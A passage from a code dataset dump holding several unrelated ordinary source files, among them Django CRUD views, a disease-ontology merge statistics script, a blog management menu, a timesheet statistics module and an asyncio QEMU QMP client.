lazy\")\n\t\treturn reverse_lazy('parent:list_parent')\n\n\n\tdef post(self,request, *args, **kwargs):\n\t\tprint(\"-------------inside post------------\")\n\t\tform_class = self.get_form_class()\n\t\tform = self.get_form(form_class)\n\t\tprofile_form = ParentForm(self.request.POST)\n\t\tif (form.is_valid() and profile_form.is_valid()):\n\t\t\tprint(\"form valid returned-------------\")\n\t\t\treturn self.form_valid(form, profile_form)\n\t\telse:\n\t\t\tprint(\"------------form invalid returned............\")\n\t\t\treturn self.form_invalid(form,profile_form)\n\n\tdef form_valid(self,form, profile_form):\n\t\tself.object = form.save()\n\t\tp_form = profile_form.save(commit = False)\n\t\tp_form.user = self.object\n\t\tp_form.save()\n\t\treturn super(RegisterView,self).form_valid(form)\n\n\tdef form_invalid(self, form, profile_form):\n\t\treturn self.render_to_response(self.get_context_data(form = form,profile_form = profile_form))\n\n\nclass ListAllParentView(View):\n\ttemplate_name = \"parent/parentlist.html\"\n\n\tdef get(self, request):\n\t\tprint(\"inside get\")\n\t\tparentlist = Parent.objects.all()\n\t\treturn render_to_response(self.template_name, {'parlist':parentlist})\n\n\ndef updateparent(request, uid, pid):\n\ttemplate_name='parent/update_parent.html'\n\tparent = get_object_or_404(Parent, id= pid) \n\tparent_user = get_object_or_404(User, id = uid) \n\tprint(\"parent name--\", parent.user.first_name)\n\tprint(\"parent age-- \",parent.age)\n\tform = RegisterForm(request.POST or None, instance=parent_user)\n\tprofile_form = ParentForm(request.POST or None,instance=parent)\n\tif form.is_valid() and profile_form.is_valid():\n\t\tform.save()\n\t\tprofile_form.save()\n\t\treturn redirect('parent:list_parent')\n\treturn render(request, template_name, {'form':form, 'profile_form':profile_form})\n\n# ---------------------------------------------------------\ndef deleteparent(request,uid,pid):\n\ttemplate_name='parent/parent_confirm_delete.html'\n\tparent = get_object_or_404(Parent, id= pid) \n\tparent_user = get_object_or_404(User, id = uid) \n\tprint(\"parent name--\", parent.user.first_name)\n\tprint(\"parent age-- \",parent.age)\n\tif request.method=='POST':\n\t\tparent.delete()\n\t\tparent_user.delete()\n\t\treturn redirect('parent:list_parent')\n\treturn render(request, template_name, {'form':parent})\n","sub_path":"cms/parent/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"384255753","text":"import numpy as np\nimport pandas as pd\n\n\n\nfilename='merged190821_10_ID_LCS.csv'\n\ndf=pd.read_csv(filename)\n'''dfDO=pd.read_excel(filename,sheet_name='DO')\ndfICD10CM=pd.read_excel(filename,sheet_name='ICD10CM')\ndfICD10=pd.read_excel(filename,sheet_name='ICD10')\ndfMeSH=pd.read_excel(filename,sheet_name='MeSH')\ndfxref=pd.read_excel(filename,sheet_name='xref')'''\nlist1=df['ID'].values\nprint(list1)\nlenMerged=len(df)\nprint(lenMerged)\n#lenDO=len(dfDO)\n#lenICD10CM=len(dfICD10CM)\n#lenICD10=len(dfICD10)\n#lenMeSH=len(dfMeSH)\n#lenxref=len(dfxref)\n\nDO_=0\nICD10CM_=0\nICD10_=0\nMeSH_=0\n\nDO_ICD10CM=0\nDO_ICD10=0\nDO_MeSH=0\nICD10CM_ICD10=0\nICD10CM_MeSH=0\nICD10_MeSH=0\n\nnoDO=0\nnoICD10CM=0\nnoICD10=0\nnoMeSH=0\n\nallbase=0\nnumlist=[]\nunmergedlist=[]\nfor i in list1:\n j=i.split(',')\n if len(j)>2:\n numlist.append(int(j[0]))\n else:\n unmergedlist.append(j[1].split(':')[0])\n\n j = i.split(',')\n bases = []\n while len(j) > 2:\n k = j[-1].split(':')\n j.pop()\n bases.append(k[0])\n if 'DOID' in bases and 'ICD10_CM' in bases and 'ICD10' in bases and 'MeSH' in bases:\n allbase += 1\n elif 'DOID' in bases and 'ICD10_CM' in bases and 'ICD10' in bases:\n noMeSH += 1\n elif 'DOID' in bases and 'ICD10_CM' in bases and 'MeSH' in bases:\n noICD10 += 1\n elif 'DOID' in bases and 'ICD10' in bases and 'MeSH' in bases:\n noICD10CM += 1\n elif 'ICD10_CM' in bases and 'ICD10' in bases and 'MeSH' in bases:\n noDO += 1\n elif 'DOID' in bases and 'ICD10_CM' in bases:\n DO_ICD10CM += 1\n elif 'DOID' in bases and 'ICD10' in bases:\n DO_ICD10 += 1\n elif 'DOID' in bases and 'MeSH' in bases:\n DO_MeSH += 1\n elif 'ICD10_CM' in bases and 'ICD10' in bases:\n ICD10CM_ICD10 += 1\n elif 'ICD10_CM' in bases and 'MeSH' in bases:\n ICD10CM_MeSH += 1\n elif 'ICD10' in bases and 'MeSH' in bases:\n ICD10_MeSH += 1\n elif 'DOID' in bases:\n DO_ += 1\n elif 'ICD10_CM' in bases:\n ICD10CM_ += 1\n elif 'ICD10' in bases:\n ICD10_ += 1\n elif 'MeSH' in bases:\n MeSH_ += 1\n#print('xref %d %.2f'%(lenxref,lenxref/lenMerged))\n#print('DO unmerged %-6d %.2f'%(unmergedlist.count('DOID'),unmergedlist.count('DOID')/lenDO))\n#print('ICD10_CM unmerged %-6d %.2f'%(unmergedlist.count('ICD10_CM'),unmergedlist.count('ICD10_CM')/lenICD10CM))\n#print('ICD10 unmerged %-6d %.2f'%(unmergedlist.count('ICD10'),unmergedlist.count('ICD10')/lenICD10))\n#print('MeSH unmerged %-6d %.2f'%(unmergedlist.count('MeSH'),unmergedlist.count('MeSH')/lenMeSH))\nlenMerge=lenMerged-len(unmergedlist)\nprint(set(unmergedlist))\nprint('sum: %d merged %d unmerged %d'%(lenMerged,lenMerge,len(unmergedlist)))\nprint('DO_',DO_,DO_/lenMerge)\nprint('ICD10CM_',ICD10CM_,ICD10CM_/lenMerge)\nprint('ICD10_ ',ICD10_,ICD10_/lenMerge)\nprint('MeSH_ ',MeSH_,MeSH_/lenMerge)\nprint('DO_ICD10CM',DO_ICD10CM,DO_ICD10CM/lenMerge)\nprint('DO_ICD10',DO_ICD10,DO_ICD10/lenMerge)\nprint('DO_MeSH',DO_MeSH,DO_MeSH/lenMerge)\nprint('ICD10CM_ICD10 ',ICD10CM_ICD10,ICD10CM_ICD10/lenMerge)\nprint('ICD10CM_MeSH',ICD10CM_MeSH,ICD10CM_MeSH/lenMerge)\nprint('ICD10_MeSH ',ICD10_MeSH,ICD10_MeSH/lenMerge)\nprint('noDO',noDO,noDO/lenMerge)\nprint('noICD10CM',noICD10CM,noICD10CM/lenMerge)\nprint('noICD10',noICD10,noICD10/lenMerge)\nprint('noMeSH',noMeSH,noMeSH/lenMerge)\nprint('allbase',allbase,allbase/lenMerge)\n\nnumset=list(set(numlist))\ncountlist=[]\nsum=0\nfor i in numset:\n countlist.append(numlist.count(i))\n sum+=numlist.count(i)\nprint('max size: %d'%(max(numset)))\n\nindex=countlist.index(max(countlist))\nprint(numset[index],countlist[index]/sum)\nnumset.pop(index)\ncountlist.pop(index)\n\nindex=countlist.index(max(countlist))\nprint(numset[index],countlist[index]/sum)\nnumset.pop(index)\ncountlist.pop(index)\n\nindex=countlist.index(max(countlist))\nprint(numset[index],countlist[index]/sum)\nnumset.pop(index)\ncountlist.pop(index)\n\nindex=countlist.index(max(countlist))\nprint(numset[index],countlist[index]/sum)\nnumset.pop(index)\ncountlist.pop(index)\n\nindex=countlist.index(max(countlist))\nprint(numset[index],countlist[index]/sum)\nnumset.pop(index)\ncountlist.pop(index)\n\n'''\nlist2=dfxref['ID'].values\nDO_=0\nICD10CM_=0\nICD10_=0\nMeSH_=0\n\nDO_ICD10CM=0\nDO_ICD10=0\nDO_MeSH=0\nICD10CM_ICD10=0\nICD10CM_MeSH=0\nICD10_MeSH=0\n\nnoDO=0\nnoICD10CM=0\nnoICD10=0\nnoMeSH=0\n\nallbase=0\nfor i in list2:\n j=i.split(',')\n bases=[]\n while len(j)>2:\n k=j[-1].split(':')\n j.pop()\n bases.append(k[0])\n if 'DOID' in bases and 'ICD10_CM' in bases and 'ICD10' in bases and 'MeSH' in bases:\n allbase+=1\n elif 'DOID' in bases and 'ICD10_CM' in bases and 'ICD10' in bases :\n noMeSH+=1\n elif 'DOID' in bases and 'ICD10_CM' in bases and 'MeSH' in bases:\n noICD10+=1\n elif 'DOID' in bases and 'ICD10' in bases and 'MeSH' in bases:\n noICD10CM+=1\n elif 'ICD10_CM' in bases and 'ICD10' in bases and 'MeSH' in bases:\n noDO+=1\n elif 'DOID' in bases and 'ICD10_CM' in bases :\n DO_ICD10CM+=1\n elif 'DOID' in bases and 'ICD10' in bases:\n DO_ICD10+=1\n elif 'DOID' in bases and 'MeSH' in bases:\n DO_MeSH+=1\n elif 'ICD10_CM' in bases and 'ICD10' in bases :\n ICD10CM_ICD10+=1\n elif 'ICD10_CM' in bases and 'MeSH' in bases:\n ICD10CM_MeSH+=1\n elif 'ICD10' in bases and 'MeSH' in bases:\n ICD10_MeSH+=1\n elif 'DOID' in bases:\n DO_+=1\n elif 'ICD10_CM' in bases:\n ICD10CM_+=1\n elif 'ICD10' in bases:\n ICD10_+=1\n elif 'MeSH' in bases:\n MeSH_+=1\n\nprint('DO_',DO_,DO_/lenxref)\nprint('ICD10CM_',ICD10CM_,ICD10CM_/lenxref)\nprint('ICD10_ ',ICD10_,ICD10_/lenxref)\nprint('MeSH_ ',MeSH_,MeSH_/lenxref)\nprint('DO_ICD10CM',DO_ICD10CM,DO_ICD10CM/lenxref)\nprint('DO_ICD10',DO_ICD10,DO_ICD10/lenxref)\nprint('DO_MeSH',DO_MeSH,DO_MeSH/lenxref)\nprint('ICD10CM_ICD10 ',ICD10CM_ICD10,ICD10CM_ICD10/lenxref)\nprint('ICD10CM_MeSH',ICD10CM_MeSH,ICD10CM_MeSH/lenxref)\nprint('ICD10_MeSH ',ICD10_MeSH,ICD10_MeSH/lenxref)\nprint('noDO',noDO,noDO/lenxref)\nprint('noICD10CM',noICD10CM,noICD10CM/lenxref)\nprint('noICD10',noICD10,noICD10/lenxref)\nprint('noMeSH',noMeSH,noMeSH/lenxref)\nprint('allbase',allbase,allbase/lenxref)\n'''","sub_path":"数据库整合2/test_csv.py","file_name":"test_csv.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"47174932","text":"# _*- coding: utf -8\nimport pickle\nimport os\n\ndef getAddr():\n with open('addr_mac', 'rb') as fichier:\n mon_depickler = pickle.Unpickler(fichier)\n addr_recupere = mon_depickler.load()\n return addr_recupere\n\n\ndef getNoms():\n with open('noms_modules', 'rb') as fichier:\n mon_depickler = pickle.Unpickler(fichier)\n noms_modules = mon_depickler.load()\n return noms_modules\n\n\ntry :\n addr_recupere = getAddr()\nexcept EOFError:\n with open('addr_mac', 'wb') as fichier:\n addr_mac = []\n mon_pickler = pickle.Pickler(fichier)\n mon_pickler.dump(addr_mac)\n addr_recupere = getAddr()\nexcept FileNotFoundError:\n with open('addr_mac', 'wb+') as fichier:\n addr_mac = []\n mon_pickler = pickle.Pickler(fichier)\n mon_pickler.dump(addr_mac)\n addr_recupere = getAddr()\n\ntry :\n noms_recupere = getNoms()\nexcept EOFError:\n with open('noms_modules', 'wb') as fichier:\n noms_modules = []\n mon_pickler = pickle.Pickler(fichier)\n mon_pickler.dump(noms_modules)\n noms_recupere = getNoms()\nexcept FileNotFoundError:\n with open('noms_modules', 'wb') as fichier:\n noms_modules = []\n mon_pickler = pickle.Pickler(fichier)\n mon_pickler.dump(noms_modules)\n noms_recupere = getNoms()\n\n\nprint(\"Voici les adresses mac presentes :\")\nprint(addr_recupere)\n\nprint(\"Voici les noms des modules présents :\")\nprint(noms_recupere)\nos.system('pause')\n\naddr_mac = list()\nwhile True:\n os.system('cls')\n print(addr_mac)\n print(\"'exit' pour quitter l'input des addresses\")\n addresse = input('Entrez l\\'adresse mac à écrire (cela effacera les anciennes)\\n')\n if addresse == 'exit':\n break\n else:\n addr_mac.append(addresse)\n\nwith open('addr_mac', 'wb') as adresses:\n mon_pickler = pickle.Pickler(adresses)\n mon_pickler.dump(addr_mac)\n\n\nnoms_modules = list()\nwhile True:\n os.system('cls')\n print(noms_modules)\n print(\"'exit' pour quitter l'input des noms\")\n nom = input('Entrez tous les noms de modules dans l\\'ordre à écrire (cela effacera les anciens)\\n')\n if nom == 'exit':\n break\n else:\n noms_modules.append(nom)\n\nwith open('noms_modules', 'wb') as modules:\n mon_pickler = pickle.Pickler(modules)\n mon_pickler.dump(noms_modules)\n","sub_path":"cle.py","file_name":"cle.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"565883270","text":"__author__ = 'Yaacov'\n\nimport combatant\nimport dice\nimport verbose as v\n\nverbose_msg=True\n\n\nclass Action:\n def __init__(self, combat, combatant, time, action_type, parameters, log_message):\n self.combat = combat\n self.combatant = combatant\n self.time = time\n self.duration = 0\n self.end_time = 0\n self.action_type = action_type\n self.exh_cost = 0\n self.parameters = parameters\n self.log_message = log_message","sub_path":"action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"249922363","text":"import socketio\nimport time\n\nprint(socketio.__version__)\n\nsio = socketio.Client()\nsio.connect('http://127.0.0.1:3300')\n\nglobal name\nname = \"test01\"\n\nwhile True: \n time.sleep(0.1)\n if (name != \"K00001\"):\n name = \"K00001\"\n else:\n continue\n sio.emit('streaming', name)\n\nsio.disconnect()","sub_path":"lib/socketTest.py","file_name":"socketTest.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"80927389","text":"# def my_decorator(func):\n# def decorate():\n# print (\"=================\")\n# func()\n# print (\"=================\")\n# return decorate\n#\n#\n# @my_decorator\n# def print_text():\n# print (\"I am ok\")\n#\n#\n# print_text()\n\n\n# def calculate(func, arg):\n# return func(func(arg))\n#\n#\n# def value(x):\n# return x + 5\n#\n#\n# print (calculate(value, 10))\n\n\n# def my_function(func, arg):\n# return func(arg)\n#\n# print (my_function(lambda x: 2 * x, 10))\n\n\n# def make_double(x):\n# return x * 2\n#\n# list_data = [10, 20, 30]\n#\n# result = map(make_double, list_data)\n# print result\n#\n#\n# def is_even(x):\n# return x % 2 == 0\n#\n# list_data_for_filter = [1, 3, 5, 7, 10, 20, 30]\n#\n# data = filter(is_even, list_data_for_filter)\n# print data\n\n\n# def even_numbers(x):\n# for i in range(x):\n# if i % 2 == 0:\n# yield i\n#\n#\n# even_nums_list = list(even_numbers(10))\n# print even_nums_list\n\n\n# def factorial(x):\n# if x <= 1:\n# return 1\n# else:\n# return x * factorial(x - 1)\n#\n# print factorial(0)\n\n\n# from itertools import count\n#\n#\n# for i in count(3):\n# print (i)\n# if i >= 11:\n# break\n\n\n# def insertion(data):\n# for index in range(1, len(data)):\n# value = data[index]\n# i = index - 1\n# while i >= 0 and value < data[i]:\n# data[i + 1] = data[i]\n# data[i] = value\n# i = i - 1\n#\n# return data\n\n\ndef insertion_sort(sort_data):\n for index in range(1, len(sort_data)):\n current_value = sort_data[index]\n position = index\n\n while position > 0 and sort_data[position - 1] > current_value:\n sort_data[position] = sort_data[position - 1]\n position = position - 1\n\n sort_data[position] = current_value\n\n return sort_data\n\n\ndata = [54, 26, 93, 17, 77, 31, 44, 55, 20]\nprint(insertion_sort(data))\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"542188244","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport os\nimport time\n\nfrom common import file, console\nfrom manage import whiptail, upgrade, get\n\ndialog = whiptail.Whiptail()\ndialog.height = 15\ndialog.title = \"SilverBlog management tool\"\ndef use_whiptail_mode():\n dialog.title = \"SilverBlog management tool\"\n menu_list = [\"Article manager\", \"Menu manager\", \"Build static page\", \"Setting\", \"Exit\"]\n if os.path.exists(\"./.git\"):\n upgrade_text = \"Upgrade\"\n upgrade_check = False\n last_fetch_time = 0\n if os.path.exists(\"./upgrade/last_fetch_time.json\"):\n last_fetch_time = json.loads(file.read_file(\"./upgrade/last_fetch_time.json\"))[\"last_fetch_time\"]\n if upgrade.upgrade_check(False):\n upgrade_text = \"⚠ Upgrade\"\n upgrade_check = True\n if (time.time() - last_fetch_time) > 259200 and not upgrade_check:\n file.write_file(\"./upgrade/last_fetch_time.json\", json.dumps({\"last_fetch_time\": time.time()}))\n if upgrade.upgrade_check():\n upgrade_text = \"⚠ Upgrade\"\n menu_list = [\"Article manager\", \"Menu manager\", \"Build static page\", upgrade_text, \"Setting\", \"Exit\"]\n while True:\n result = dialog.menu(\"Please select an action\", menu_list)\n if result == \"Exit\":\n exit(0)\n if result == \"Article manager\":\n article_manager()\n if result == \"Menu manager\":\n menu_manager()\n if result == upgrade_text:\n upgrade_system()\n if result == \"Build static page\":\n from manage import build_static_page\n dialog.title = \"Build static page\"\n build_static_page.publish()\n if result == \"Setting\":\n from manage import setting\n setting.setting_menu()\n time.sleep(0.5)\n\ndef article_manager():\n dialog.title = \"Article manager\"\n while True:\n from manage import build_rss, post_manage\n menu_list = [\"New\", \"Update\", \"Edit\", \"Delete\", \"Back\", \"Exit\"]\n result = dialog.menu(\"Please select an action\", menu_list)\n if result == \"Exit\":\n exit(0)\n if result == \"Back\":\n break\n if result == \"New\":\n dialog.title = \"New post\"\n post_info = get_post_info()\n if os.path.exists(\"./document/{}.md\".format(post_info[\"name\"])):\n console.log(\"Error\", \"File [./document/{}.md] already exists\".format(post_info[\"name\"]))\n exit(1)\n if post_info[\"name\"] is not None:\n post_manage.new_post(post_info, dialog.confirm(\"Is this an independent page?\", \"no\"))\n if result == \"Edit\":\n dialog.title = \"Edit post\"\n page_list, post_index = select_list(\"./config/page.json\")\n if page_list:\n config = get_post_info(page_list[post_index][\"title\"], page_list[post_index][\"name\"])\n system_info = json.loads(file.read_file(\"./config/system.json\"))\n post_manage.edit_post(page_list, post_index, config, system_info[\"Editor\"])\n post_manage.update_post()\n if result == \"Delete\":\n page_list, post_index = select_list(\"./config/page.json\")\n if page_list and dialog.confirm(\n \"Are you sure you want to delete this article? (Warning! This operation is irreversible, please be careful!)\",\n \"no\"):\n post_manage.delete_post(page_list, post_index)\n if result == \"Update\":\n post_manage.update_post()\n build_rss.build_rss()\n time.sleep(0.5)\n\ndef menu_manager():\n dialog.title = \"Menu manager\"\n menu_list = [\"New\", \"Edit\", \"Delete\", \"Back\", \"Exit\"]\n result = dialog.menu(\"Please select an action\", menu_list)\n while True:\n if result == \"Exit\":\n exit(0)\n if result == \"Back\":\n break\n from manage import menu_manage\n if result == \"New\":\n menu_info = get_menu_info()\n if menu_info[\"title\"] is not None:\n menu_manage.add_menu(menu_info)\n if result == \"Edit\":\n menu_list, menu_index = select_list(\"./config/menu.json\")\n if menu_list:\n menu_item = menu_list[menu_index]\n if \"name\" in menu_item:\n address = menu_item[\"name\"]\n independent = True\n if \"absolute\" in menu_item:\n address = menu_item[\"absolute\"]\n independent = False\n menu_info = get_menu_info(menu_item[\"title\"], address, independent)\n menu_manage.edit_menu(menu_list, menu_index, menu_info)\n if result == \"Delete\":\n menu_list, select_index = select_list(\"./config/menu.json\")\n if menu_list and dialog.confirm(\n \"Are you sure you want to delete this item? (Warning! This operation is irreversible, please be careful!)\",\n \"no\"):\n menu_manage.delete_menu(menu_list, select_index)\n time.sleep(0.5)\n\n\ndef get_menu_info(title_input=\"\", name_input=\"\", independent=False):\n title = dialog.prompt(\"Please enter the title of the menu:\", title_input).strip()\n is_independent = \"no\"\n if independent:\n is_independent = \"yes\"\n type = dialog.confirm(\"Is this an independent page?\", is_independent)\n name = None\n if type and dialog.confirm(\"Does this article exist in the list of articles?\", \"no\"):\n page_list, page_index = select_list(\"./config/page.json\")\n name = page_list[page_index][\"name\"]\n if name is None:\n if not type and name_input == \"\":\n name_input = \"https://\"\n name = dialog.prompt(\"Please enter the address:\", name_input).strip()\n if len(title) == 0:\n dialog.alert(\"The title can not be blank.\")\n return {\"title\": None, \"name\": None, \"type\": False}\n if len(name) == 0:\n dialog.alert(\"The name can not be blank.\")\n return {\"title\": None, \"name\": None, \"type\": False}\n return {\"title\": title, \"name\": name, \"type\": type}\n\ndef upgrade_system():\n from manage import upgrade\n dialog.title = \"Upgrade\"\n if upgrade.upgrade_check() and dialog.confirm(\"Find new version, do you want to upgrade?\", \"no\"):\n upgrade.upgrade_pull()\n return\n dialog.alert(\"No upgrade found.\")\n\n\ndef select_list(list_name):\n page_title_list = list()\n page_list = json.loads(file.read_file(list_name))\n i = 1\n if len(page_list) == 0:\n dialog.alert(\"The page list can not be blank.\")\n return [], 0\n for item in page_list:\n page_title_list.append(\"{}. {}\".format(i, item[\"title\"]))\n i += 1\n post_title = dialog.menu(\"Please select the post to be operated:\", page_title_list)\n return page_list, page_title_list.index(post_title)\n\n\ndef get_post_info(title_input=\"\", name_input=\"\"):\n title = dialog.prompt(\"Please enter the title of the article:\", title_input).strip()\n if len(title) == 0:\n dialog.alert(\"The title can not be blank.\")\n return {\"title\": None, \"name\": None}\n if name_input == \"\":\n name_input = get.get_name(title)\n name = dialog.prompt(\"Please enter the slug:\", name_input).strip()\n return {\"title\": title, \"name\": name}\n\ndef use_text_mode(args):\n if args.command == \"qrcode\":\n system_config = json.loads(file.read_file(\"./config/system.json\"))\n from common import install_module\n install_module.install_and_import(\"qrcode_terminal\")\n import qrcode_terminal\n if len(system_config[\"API_Password\"]) == 0 or len(system_config[\"Project_URL\"]) == 0:\n console.log(\"Error\", \"Check the API_Password and Project_URL configuration items\")\n exit(1)\n try:\n password_md5 = json.loads(system_config[\"API_Password\"])[\"hash_password\"]\n except (ValueError, KeyError, TypeError):\n exit(1)\n console.log(\"Info\", \"Please use the client to scan the following QR Code\")\n config_json = json.dumps({\"url\": system_config[\"Project_URL\"], \"password\": password_md5})\n qrcode_terminal.draw(config_json)\n exit(0)\n if args.command == \"upgrade\":\n from manage import upgrade\n if upgrade.upgrade_check():\n if not args.yes:\n start_to_pull = input('Find new version, do you want to upgrade? [y/N]')\n if start_to_pull.lower() == 'yes' or start_to_pull.lower() == 'y' or args.yes:\n upgrade.upgrade_pull()\n exit(0)\n console.log(\"info\", \"No upgrade found\")\n exit(0)\n if args.command == \"build-page\":\n from manage import build_static_page\n build_static_page.publish()\n exit(0)\n from manage import build_rss, post_manage\n if args.command == \"new\":\n config = None\n if args.config is not None:\n config = json.loads(file.read_file(args.config))\n if config is None:\n print(\"Please enter the title of the article:\")\n title = input().strip()\n if len(title) == 0:\n console.log(\"Error\", \"The title can not be blank.\")\n exit(1)\n name = get.get_name(title)\n print(\"Please enter the slug [{}]:\".format(name))\n name2 = input().strip()\n if len(name2) != 0:\n name = get.filter_name(name2)\n if os.path.exists(\"./document/{}.md\".format(name)):\n console.log(\"Error\", \"File [./document/{}.md] already exists\".format(name))\n exit(1)\n if len(name) != 0 and len(title) != 0:\n config = {\"title\": title, \"name\": name}\n post_manage.new_post(config, args.independent)\n build_rss.build_rss()\n exit(0)\n if args.command == \"update\":\n if post_manage.update_post():\n build_rss.build_rss()\n exit(0)","sub_path":"manage/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":9946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"582411270","text":"import datetime\n\nfrom .constants import VIRTUAL_MIDNIGHT\n\ncombine = datetime.datetime.combine\n\n\ndef format_stats(stats):\n fmt = '%Y-%m-%d'\n for date, time in stats:\n yield date.strftime(fmt), str(time)\n\n\ndef stats_by_day(entries, virtual_midnight=VIRTUAL_MIDNIGHT):\n \"\"\"\n\n >>> from pprint import pprint as pp\n\n >>> entries = [\n ... {'date1': '2014-03-31 09:00', 'date2': '2014-03-31 10:30'},\n ... {'date1': '2014-03-31 14:00', 'date2': '2014-03-31 15:00'},\n ... ]\n >>> entries = [dict(d, notes='', breaks=0) for d in entries]\n >>> pp(list(format_stats(stats_by_day(entries))))\n [('2014-03-31', '2:30:00')]\n\n >>> entries = [\n ... {'date1': '2014-03-24 14:15', 'date2': '2014-03-24 18:14'},\n ... {'date1': '2014-03-31 17:10', 'date2': '2014-03-31 17:38'},\n ... {'date1': '2014-04-01 13:54', 'date2': '2014-04-01 15:41'},\n ... {'date1': '2014-04-01 16:04', 'date2': '2014-04-01 18:00'},\n ... {'date1': '2014-04-04 11:25', 'date2': '2014-04-04 12:33'},\n ... ]\n >>> entries = [dict(d, notes='', breaks=0) for d in entries]\n >>> pp(list(format_stats(stats_by_day(entries))))\n [('2014-03-24', '3:59:00'),\n ('2014-03-25', '0:00:00'),\n ('2014-03-26', '0:00:00'),\n ('2014-03-27', '0:00:00'),\n ('2014-03-28', '0:00:00'),\n ('2014-03-29', '0:00:00'),\n ('2014-03-30', '0:00:00'),\n ('2014-03-31', '0:28:00'),\n ('2014-04-01', '3:43:00'),\n ('2014-04-02', '0:00:00'),\n ('2014-04-03', '0:00:00'),\n ('2014-04-04', '1:08:00')]\n\n\n \"\"\"\n fmt = '%Y-%m-%d %H:%M'\n xday = last = None\n time = datetime.timedelta()\n for entry in entries:\n if entry['notes'].endswith('*'): continue\n\n date1 = datetime.datetime.strptime(entry['date1'], fmt)\n date2 = datetime.datetime.strptime(entry['date2'], fmt)\n\n if entry['breaks']:\n date2 -= datetime.timedelta(minutes=entry['breaks'])\n\n day = combine(date1, datetime.time())\n if date1.time() <= virtual_midnight:\n day = day - datetime.timedelta(days=1)\n\n if last is not None and last != day:\n while xday < last:\n yield xday, datetime.timedelta()\n xday += datetime.timedelta(days=1)\n yield last, time\n time = datetime.timedelta()\n xday = last + datetime.timedelta(days=1)\n\n time += date2 - date1\n last = day\n if xday is None:\n xday = last + datetime.timedelta(days=1)\n\n if last is not None:\n while xday < last:\n yield xday, datetime.timedelta()\n xday += datetime.timedelta(days=1)\n yield last, time\n","sub_path":"gtimesheet/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"91929629","text":"import asyncio\nimport json\nfrom queue import Queue\nfrom queue import LifoQueue\nimport threading\n\n\nclass QMPError(Exception):\n pass\n\n\nclass QMPUnexpectedReply(QMPError):\n pass\n\n\nclass QMPWorker:\n\n replyq = Queue()\n eventq = LifoQueue(maxsize=1000)\n \n def __init__(self, path='/tmp/qmp.sock', background=True):\n self.path = path\n if background:\n loop = asyncio.new_event_loop()\n self.writeq = asyncio.Queue(loop=loop)\n self._thread = threading.Thread(target=self.start, args=(loop,))\n self._thread.setDaemon(True)\n self._thread.start()\n else:\n self.writeq = asyncio.Queue()\n\n def start(self, loop=None):\n if loop is None:\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n r, w = loop.run_until_complete(asyncio.open_unix_connection(path=self.path))\n asyncio.ensure_future(self._reader(r))\n asyncio.ensure_future(self._writer(w))\n loop.run_forever()\n\n @staticmethod\n def _decode(data):\n return json.loads(data.rstrip())\n\n @staticmethod\n def _encode(msg):\n return json.dumps(msg).encode('utf-8')\n\n async def _reader(self, r):\n while True:\n data = self._decode(await r.readline())\n self.replyq.put(data)\n # NOTE(SamYaple): Will hang indefinetely without this sleep for\n # some unknown reason -- Python 3.7.0\n await asyncio.sleep(0.1)\n\n async def _writer(self, w):\n while True:\n data = self._encode(await self.writeq.get())\n w.write(data)\n await w.drain()\n self.writeq.task_done()\n\n def _format_reply(self, cmd, reply):\n if 'error' in reply:\n raise QMPError(reply)\n if 'return' not in reply:\n raise QMPUnexpectedReply(reply)\n return reply\n\n def execute(self, cmd, **kwargs):\n qmp_exec = {'execute': cmd}\n if kwargs:\n qmp_exec['arguments'] = kwargs\n self.writeq.put_nowait(qmp_exec)\n reply = self.replyq.get()\n self.replyq.task_done()\n return self._format_reply(cmd, reply)\n\n def parse_greeting(self):\n init = self.replyq.get()\n self.replyq.task_done()\n if 'QMP' not in init:\n raise QMPUnexpectedReply(init)\n self.version = '{major}.{minor}.{micro}'.format(**init['QMP']['version']['qemu'])\n\n def negotiate_capabilities(self):\n reply = self.execute('qmp_capabilities')\n if 'error' in reply:\n raise QMPError(reply['error'])\n if 'return' in reply and not reply['return']:\n return\n raise QMPUnexpectedReply(reply)\n\nif __name__ == '__main__':\n qmp = QMPWorker(background=True)\n qmp.parse_greeting()\n qmp.negotiate_capabilities()\n import pdb; pdb.set_trace()\n","sub_path":"pyqmp/qemu.py","file_name":"qemu.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"245422923","text":"from __future__ import division\n\nimport argparse\nimport sys\nimport time\n\nimport chainer\nfrom chainer import iterators\n\nfrom chainercv.datasets import voc_detection_label_names\nfrom chainercv.datasets import VOCDetectionDataset\nfrom chainercv.evaluations import eval_detection_voc\nfrom chainercv.links import FasterRCNNVGG16\nfrom chainercv.links import SSD300\nfrom chainercv.links import SSD512\nfrom chainercv.utils import apply_prediction_to_iterator\n\n\nclass ProgressHook(object):\n\n def __init__(self, n_total):\n self.n_total = n_total\n self.start = time.time()\n self.n_processed = 0\n\n def __call__(self, imgs, pred_values, gt_values):\n self.n_processed += len(imgs)\n fps = self.n_processed / (time.time() - self.start)\n sys.stdout.write(\n '\\r{:d} of {:d} images, {:.2f} FPS'.format(\n self.n_processed, self.n_total, fps))\n sys.stdout.flush()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--model', choices=('faster_rcnn', 'ssd300', 